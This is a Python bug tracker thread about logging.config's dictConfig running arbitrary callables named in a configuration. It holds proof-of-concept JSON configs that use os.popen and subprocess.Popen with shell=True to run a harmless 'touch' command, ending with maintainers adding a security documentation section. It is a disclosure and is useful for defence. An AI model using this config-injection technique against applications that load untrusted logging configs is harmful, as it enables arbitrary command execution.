msg409623 - (view) |
Author: MarkBaggett (MarkBaggett) |
Date: 2022-01-03 22:15 |
I know there are multiple warnings about the use of eval() in the listener. But _resolve() and resolve() used by both fileConfig and dictConfig also seem like they can also be abused. Here is a working example.
$ ls /tmp/itworked
ls: cannot access '/tmp/itworked': No such file or directory
$ cat log.config
{
"version":1,
"formatters":{
"EXPLOIT":{
"class": "os.popen",
"format": "touch /tmp/itworked",
"datefmt": "r",
"style": 1
}
}
}
$ python calculator.py
/usr/lib/python3.8/subprocess.py:848: RuntimeWarning: line buffering (buffering=1) isn't supported in binary mode, the default buffer size will be used
self.stdout = io.open(c2pread, 'rb', bufsize)
WARNING:calculator.support_functions:Internet Confirmed.
WARNING:calculator.support_functions:Adder object exported!
WARNING:calculator.support_functions.adder:Set initial value to 0
WARNING:calculator:The result is 15
$ ls /tmp/itworked
/tmp/itworked
I could probably clean up that error message if I took 2 minute to refresh my os.popen knowledge, but I think you get the point. Are you aware of this issue?
Thanks for all you to on this import module!
|
msg409624 - (view) |
Author: Eric V. Smith (eric.smith) * |
Date: 2022-01-03 22:20 |
What are the contents of calculator.py?
|
msg409626 - (view) |
Author: MarkBaggett (MarkBaggett) |
Date: 2022-01-03 22:26 |
Here are the relevant parts of calculator.py..
import logging
import logging.config
import json
import pathlib
import os
config_location = pathlib.Path( os.path.realpath(__file__) ).parent / "log.config"
log_config = json.load( config_location.open() )
logging.config.dictConfig(log_config)
logger = logging.getLogger("calculator")
|
msg409627 - (view) |
Author: Eric V. Smith (eric.smith) * |
Date: 2022-01-03 22:32 |
Thanks.
Here's a somewhat smaller, one-file version, that writes to the current directory (I'm on Windows, no /tmp):
---------------------
import logging
import logging.config
import json
log_config_txt = '''{
"version":1,
"formatters":{
"EXPLOIT":{
"class": "os.popen",
"format": "touch itworked",
"datefmt": "r",
"style": 1
}
}
}
'''
log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
logger = logging.getLogger("calculator")
---------------------
|
msg409628 - (view) |
Author: Eric V. Smith (eric.smith) * |
Date: 2022-01-03 22:45 |
Actually, the last line isn't necessary.
------------
import logging.config
import json
log_config_txt = '''{
"version":1,
"formatters":{
"EXPLOIT":{
"class": "os.popen",
"format": "touch itworked",
"datefmt": "r",
"style": 1
}
}
}
'''
log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
------------
I suspect the answer to this will be: "don't load untrusted configuration files". But I'll see what others have to say. There should probably be a warning about it somewhere. I didn't see anything.
|
msg409632 - (view) |
Author: MarkBaggett (MarkBaggett) |
Date: 2022-01-03 22:58 |
"Dont load untrusted config files" is the answer I expected. It the only safe answer really. But is there really a mechanism to provide trust of an external config file other that file permissions? It doesn't seem like hmac or digital signatures work because you have to provide a mechanism to resign it every time they change a config. So an attacker could just resign after adding the exploit. Maybe file permissions is all we have.
Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.
|
msg409675 - (view) |
Author: MarkBaggett (MarkBaggett) |
Date: 2022-01-04 12:11 |
Let me also mention that the problem really includes anything that uses the resolve() functions. Here is a working example that puts an exploit in a HANDLER rather than a FORMATTER.
$ ls /tmp/alsoworked
ls: cannot access '/tmp/alsoworked': No such file or directory
$ python calculator.py
$ ls /tmp/alsoworked
/tmp/alsoworked
$ cat log.config
{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworked",
"shell" : "True"
}
}
}
Or if you prefer it in one file..
-----------------------------
import logging.config
import json
log_config_txt = '''{
"version":1,
"root":{
"handlers" : ["EXPLOIT"]
},
"handlers":{
"EXPLOIT":{
"class": "subprocess.Popen",
"args" : "touch /tmp/alsoworks",
"shell" : "True"
}
}
}
'''
log_config = json.loads(log_config_txt)
logging.config.dictConfig(log_config)
------------------------
|
msg409734 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-05 07:35 |
> "Dont load untrusted config files" is the answer I expected.
Yes. It's the usual convenience vs. security trade-off. To make configuration convenient, configurable factories with configurable parameters are provided. Can this be misused? Of course.
Digital signing has its place where auditability and accountability are important, but it would normally only be used in production where configuration changes are subject to a strict process with signoffs.
There could definitely be stronger warnings in the documentation about trust and configurations.
> Is it reasonable to say that all classes by _resolve() and resolve() should have "logger." at the top of them? If not perhaps the object could have a permitted list of top level packages that defaults to just "logger." but could be extended to others by the developer.
I would think that's going too far, and perhaps it only moves the problem. In any case, dictConfig has a mechanism using the "()" key which allows any callable, not just a class. This is for a not uncommon use case where the callable is a function that returns a logging object (handler/formatter/filter) that has been tweaked in some way. But that feature can of course also be used with untrusted inputs to produce surprises.
|
msg409736 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-05 08:57 |
I've created a PR to add a "Security Considerations" section in the configuration documentation. Comments on the PR are welcome.
|
msg409935 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-06 22:35 |
New changeset 46c7a6566bca2e974a89c90c35ed1c498d9d3b02 by Vinay Sajip in branch 'main':
bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411)
https://github.com/python/cpython/commit/46c7a6566bca2e974a89c90c35ed1c498d9d3b02
|
msg409937 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-06 23:18 |
New changeset db60ed1170a02189a4fd4b7574e0722dd22c658b by Miss Islington (bot) in branch '3.10':
[3.10] bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411) (GH-30447)
https://github.com/python/cpython/commit/db60ed1170a02189a4fd4b7574e0722dd22c658b
|
msg409938 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-06 23:18 |
New changeset 188fbdee0d6721a948eabb81cdcacac371614793 by Miss Islington (bot) in branch '3.9':
[3.9] bpo-46251: Add 'Security Considerations' section to logging configura… (GH-30411) (GH-30448)
https://github.com/python/cpython/commit/188fbdee0d6721a948eabb81cdcacac371614793
|
msg409939 - (view) |
Author: Vinay Sajip (vinay.sajip) * |
Date: 2022-01-06 23:21 |
I'm closing with the assumption that the addition to the documentation covers this. If that needs to be improved, this can be reopened with specific suggestions.
|
|
Date |
User |
Action |
Args |
2022-04-11 14:59:54 | admin | set | github: 90409 |
2022-01-06 23:21:10 | vinay.sajip | set | status: open -> closed resolution: fixed messages:
+ msg409939
stage: patch review -> resolved |
2022-01-06 23:18:47 | vinay.sajip | set | messages:
+ msg409938 |
2022-01-06 23:18:46 | vinay.sajip | set | messages:
+ msg409937 |
2022-01-06 22:35:24 | vinay.sajip | set | messages:
+ msg409935 |
2022-01-06 22:35:22 | miss-islington | set | pull_requests:
+ pull_request28653 |
2022-01-06 22:35:18 | miss-islington | set | nosy:
+ miss-islington
pull_requests:
+ pull_request28652 stage: patch review |
2022-01-05 08:57:33 | vinay.sajip | set | messages:
+ msg409736 stage: patch review -> (no value) |
2022-01-05 08:55:59 | vinay.sajip | set | keywords:
+ patch stage: patch review pull_requests:
+ pull_request28617 |
2022-01-05 07:35:11 | vinay.sajip | set | messages:
+ msg409734 |
2022-01-05 02:46:49 | ned.deily | set | nosy:
+ vinay.sajip
|
2022-01-04 12:11:56 | MarkBaggett | set | messages:
+ msg409675 |
2022-01-03 23:24:08 | iritkatriel | set | components:
+ Library (Lib) |
2022-01-03 22:58:37 | MarkBaggett | set | messages:
+ msg409632 |
2022-01-03 22:45:40 | eric.smith | set | messages:
+ msg409628 |
2022-01-03 22:32:00 | eric.smith | set | messages:
+ msg409627 |
2022-01-03 22:26:08 | MarkBaggett | set | messages:
+ msg409626 |
2022-01-03 22:20:09 | eric.smith | set | nosy:
+ eric.smith messages:
+ msg409624
|
2022-01-03 22:15:10 | MarkBaggett | create | |